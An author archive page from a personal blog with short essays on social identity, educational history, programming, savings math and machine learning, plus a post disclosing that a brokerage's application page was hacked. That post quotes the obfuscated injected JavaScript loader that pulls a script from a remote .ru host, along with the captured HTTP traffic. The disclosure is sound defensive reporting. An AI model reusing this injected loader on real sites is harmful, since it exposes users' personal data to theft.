Author Archives: Michael

Social identity is built on insecurity

“Strength in numbers” indeed: I had posted an observation in the past that a key component of social identity was finding a “scapegoat” group which was in some way similar to one’s own and trying one’s best to put that group down or set it as the “lesser” group. (As an aside, because this sort of similarity is kind of like a Hamming distance – number of things that need to change to transform one into the other – which is a symmetric measure, such things tend to be reciprocal: “A thinks B is less and B thinks A is less”. Who is right? Probably neither; both are equally petty).

Well, that would imply that social identity is built on top of a deep-rooted sense of insecurity, which is countered by gathering many people with the same characteristics. Having others who think like us makes us feel Secure. Confident. Right.

An interesting corollary of this is that people who tend to feel confident/secure/right enough on their own have no need for social identity. This would seem to link self-confidence to traits ranging from individuality to creativity or an entrepreneurial mindset.

A more (super) rational categorical imperative

Superrationality does a nice job of coupling universal morality with utilitarianism, providing a much more appealing alternative to the categorical imperative (if equally impractical). Do whatever will maximize the overall utility of the system if universally performed and assume others will do the same. It’s just as logically compact, just as intuitively appealing, and just as utterly detached from reality 🙂

I’m back, sort of.

I had stopped blogging here because I had run out of ideas.

Never before working fulltime has the faucet completely shut off. It may be the total lack of sunlight, the inability to record any ideas which come my way, or the lack of sleep as I struggle to balance this huge 60 hour chunk of time with my impending defense and my own projects – but whatever the reason, this winter was an awful time for me.

And now it is spring.

Educational Philosophy: from Perfect Citizen to Honorable Individual And Back Again

I have been reviewing educational philosophies of the past and have come to the conclusion that they have evolved in much the same manners in which the dominant societies of the times have. This should not be such a surprise, as education and leadership have tended to go hand-in-hand throughout history.

What is interesting is that these societies also undergo thematic shifts throughout historical periods: generally from a “gemeinschaft”, communal focus to a more recent “gesellschaft”, capitalistic/individualistic focus. This is of course the economy at work. What is interesting is that this trend appears to have brought us full circle.

And in this tumult, education gets dragged along too.

Hellenistic and Roman societies emphasized the role of an educated individual as a “model citizen”, destined and groomed to serve the State. This model’s ideal is Plato’s Philosopher King. As the proper purpose of the State in this context is to teach and govern the people with virtue (“Virtu”?), helping the state ultimately helps everyone. It would be a few more centuries until Machiavelli tore this idea to shreds.

The fall of Rome took with it much of the accumulated knowledge, which became the provenance of the Church. It is thus little surprise that the next educational model to emerge was one heavily steeped in Christian doctrine: emphasis was placed less on rigorous understanding as it was on morality, religious study, and interpretation of classical works and traditions. In essence, the purpose of education was to become “sacred” and promote the glory of God on earth. The ostensible Ideal of this era was Aristotle (whose errors and insights alike became incredibly canonical); as actually practiced, however, it was probably Ptolemy. While this model may have been beneficial at the individual level, it drew attention away from reality into a metaphysical realm, and thus caused progress in this earthly realm to stagnate for several centuries – the Early Middle Ages, also called the “Dark Ages”.

With the High Middle Ages came a shift in culture and the beginnings of the university model in Western culture. The philosophy in this era was one of syncretism and reconciliation: the union of doctrine with scientific, reasoned thought (again with an unfortunate over-reliance on the classics). The champion of this era was undoubtedly St. Thomas Aquinas. By wrenching the focus back to solving problems in the real world, society began to again limber onward. This age more than any demonstrated that religion and science can indeed coexist if neither intrude into the domain of the other.

The Renaissance, Reformation, and Scientific Revolution were proto-“Modernist” reactions against ingrained tradition and blind doctrine, and it was here that the individual as an individual began to shine. Most would choose Calvin as an exemplar, but his ideas fell more squarely into the preceding century; I would argue that Pico della Mirandola gave these eras dignity and Descartes gave them rigor.

The result of this was astounding, and has reverberated to this day. Many of the foundations for calculus, chemistry, physics, biology, art, music, and literature were set in these time periods. And why not, when the central theme is the ability of the individual, armed with the power of reason, to overcome any obstacle? In my mind, it was the first era in which it was acceptable for human beings to live as human beings should: rationally, passionately, transcendently (yet grounded in reality), and confidently, and it is to this period that I begin to look with great interest.

The Enlightenment abruptly took the focus back to the State. The new ideas and ideals applied so successfully to the natural world during the preceding era were now being tested in government. The role of education in such a society was again to train a model citizen, ultimately to become involved once again in the governmental process (noticing an association between democratic governments and a civic-focused, “participatory” system of education?), but now in the sense of dictating how he wished to be governed! Paine and Locke wrote extensively on these ideals, but it was Thomas Jefferson who actually lived them: “Educate and inform the whole mass of the people… They are the only sure reliance for the preservation of our liberty.”

As in Rome, such a nationalistic philosophy was bound to end in violence. And so it did, this time in the form of popular revolts. But people arguably had more freedom to determine their own destinies when the heads had finally stopped rolling. As in Rome, such a nationalistic philosophy was bound to end in violence. And so it did, this time in the form of popular revolts. But people arguably had more freedom to determine their own destinies when the heads had finally stopped rolling. And from the tumult, “new nations conceived in liberty” were created.

It is at the industrial revolution and with the advent of Modernity that progress in education reaches its present form (albeit one now universally mandated). The state-centric motivation remains, but the driver behind education now becomes economic rather than political in origin. It is here that the great systematization of education begins, with students treated in much the same rigorous, rule-based, inflexible manner as a product on an assembly line. The key philosophy is one that remains painfully obvious to this day: the purpose of an education is now to be useful to the workforce and thus to society: to Get a Job and Make Money.

Coupled with a system of organic solidarity, this system works reasonably well, but it represents a regression in philosophy from one in which the individual is valued as an individual to one in which one’s worth is solely determined by one’s usefulness.

Here the history ends and my argument begins: for the majority of the population, these “canned” methods work, just as the majority of components on an assembly line will fit perfectly into a functional yet clonal final product.

Nevertheless, as with any method that caters to a mean, the outliers are left by the wayside.

What is missing here is individualism, and with it, a license to be creative or different. More precisely, what is missing at this crucial point in time is something that has never been systematized: a synergy between the individual and the social.

And to finally bring this to a pitch (since I wouldn’t have such an interest if I didn’t have an idea for a better model…): this is what we are trying to do with Project Polymath: place the focus of education on becoming a more creative, more skilled individual for its own sake, yet show these individuals how they can make a difference in the world using not just what we are teaching them, but everything they are and everything we hope they will become.

The responsibility of education must ultimately lie with the student, for the student. There is more latent potential today than at any time in human history, for individuals to put towards realization of their own creative visions for themselves and for society: one aids the other.

For them and for us, now is the time that this potential must be realized.

Design patterns are intrinsic to language more than problem

I derived an interesting architecture based on heavy use of polymorphism, reflection, and flexible object construction (i.e. ask for a message, get not only a message but one of the correct type) in Perl. This is something that would not at all lend itself to a more traditional static-typed language such as Java. However, it’s quite natural in Perl and it apparently already exists in a Python language feature (“Pickles”).

This has led me to conclude that design patterns used to solve programming problems are not intrinsic to the problems themselves, but to the languages we use to solve them.

“Yucky” is an immune precaution.

The brain actually works in tandem with the body to ward away diseases, with such protections ranging from a sense of smell to sympathetic nausea. Chief among these is the “eww factor”. “Gross” objects, behaviors, and sensations are ones which signal conditions for potential disease transmission.

Certain chronic disorders such as cyclic vomiting syndrome can result when these systems are engaged to an abnormal extent.

Just2Trade has been hacked and does not appear to be doing anything about it.

When signing up with Just2Trade, an online brokerage, I observed that their site (which asks for a HUGE amount of personal data) was hacked and appeared to be pulling in a remote javascript from the application page (yes, the application page which asks you to enter in enough data for someone to steal your identity twice over). I contacted customer support with the following email, but it has been nearly one full business week and yet the issue persists! I would be EXTREMELY wary about trading with them, or giving them any sort of personal data, based on this.

If this isn’t resolved in some way or another by next week I’ll post it to Digg, but for now I’ll give them a bit more time to get their act together:

“Dear Just2Trade Support,

This is bad. I don’t know how else to say it. Properly remedying this issue is going to take a lot of cleanup, both technical and business-wise. Here goes:

While completing your application, which asks for quite a bit of personal information (more than enough for someone to steal my identity with), I opened Firebug and noticed a suspicious HTTP request to the following URL:

http://google-com-sg.pcauto.com.cn.google-at.truesoulonline.ru:8080/miniclip.com/miniclip.com/ganji.com/google.com/cnn.com/

Investigating this more, I opened up Wireshark and captured the HTTP stream:

GET /miniclip.com/miniclip.com/ganji.com/google.com/cnn.com/ HTTP/1.1
Host: google-com-sg.pcauto.com.cn.google-at.truesoulonline.ru:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jan 2010 04:32:41 GMT
Content-Type: text/javascript
Connection: close
X-Powered-By: PHP/5.1.6
Expires: 0
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Length: 15

/* nothing */

Going back to Firebug and trying to pinpoint the source of this request, it appears that every single one of the local Javascript files on the application pages has been compromised, since they all have this string at the end:

/*Exception*/ document.write(‘<script src=’+’h(!t!)t#@p(&:(&$/!/@^g@)&(^o!@o^#g)@l^e#-&)c!#o$m&$(-@s@^#g@!!.&@p$c@#^a$@u!)(!!t$@&)#o&&.@$$!c#^)$o$^m^@&)(.&!@c@)@(n@^#.#^g!^o@&#@#o#)g$l@@&e&^-^)a!!!#t#&.&t@#r$&!)u!(e$(((s$)^#o$)u$)#l!#&o&)n(l^$i&n#$@!e())@.@#)^r&u!:&^8#0$(#^!8$$#0@&@(/#^m)$)i^n!$i&^@c^!l^i#)p##.))$c^$o$m)$/(^!m$i((n^^$i)@c()#!l$)$!i(^p^)&.^(c@$$@o&^m(/$@g!#$a!#@n&)^#j^^$i&(.!c!^^&o(&)m#&(@/(!g(&o(#$o^$@g&)((@l^e#&.!$$c^@$o$m!!)^/$!c&n#^@n^^.))c(o($&m&#!&/$#’.replace(/&|\$|\)|\!|#|\(|@|\^/ig, ”)+’ defer=defer></scr’+’ipt>’);

(Which is writing out the reference to the script I mentioned above).

Now here’s the really disturbing thing: if you just go to the script (say sifr.js) directly in a browser, that code will not appear. The HTTP headers from an application page must be intact (and since they have personal data, I’m not posting mine; fill out the application yourself and test it). I thought this may have been some piece of malware on my own system at first, so I re-created those headers in wget just to be sure; they still appeared.

This is *very* bad for two reasons:

First, it means your server has been compromised. Just writing out some static Javascript could indicate a simple cross-site scripting scenario. But writing it out conditionally on a specific http header appearing is something that can only be done with access to server-side code.

Second, contained within the HTTP headers sent to your script are all of the fields submitted with the form. Yes, this includes driver’s license #, bank account information, SSN, address, phone number, work address, title, email… far more than would be necessary to steal someone’s identity. The ability to read the headers and conditionally take some action indicates that whoever hacked the site can read all of the data submitted to it.”

The problem is not so much that the script is doing anything – right now it’s doing /* nothing */, though this could be changed on the remote end – but that it is only being output in response to the proper HTTP headers. And on the application page (the only page, in fact, where the headers are “proper”), these headers include a great deal of personal information. A server-side script which can include a string contingent upon these headers being there can also capture them directly.

The Mathematics of Recurrent Saving

This may give you a good idea of just how much you can expect out of that 401(k) contribution:

If you invest a recurring principal p on a yearly basis into an account with an (r-1)*100% APY (e.g. r=1.05 for a 5% APY), your return after y years is: p * (r^(y+1) – r) / (r – 1).

(For y >= 1, since we’re starting at the first compounding).

So if you put $5k a year into a 401(k) with 3% interest, you’ll have $59038 by the end of the 10th year, vs. the $50000 you’d have without interest.

After 20 years, you’d have $138,382, vs $100,000.

If you contributed $10,000 per year for 20 years, you’d end up with $276,764, vs. $200,000.

Worth it? You decide. But that shocking “you’ll have a $500k nest egg after 30 years” claim, while true, is only true because it’s counting the principal you’re investing.

Granted, locking it away does remove the temptation to spend it.

Data Classification Based on the Immune System

Idea: a data classification metamodel based on the immune system: train a small bag of classifiers and clone the ones that perform well, but with a small chance of random mutations to the hyperparameters. Weight classifiers created in this manner exponentially based on iterations since last correct classification. Keep a “memory threshold” below which the weight will not fall in case that pattern is encountered again.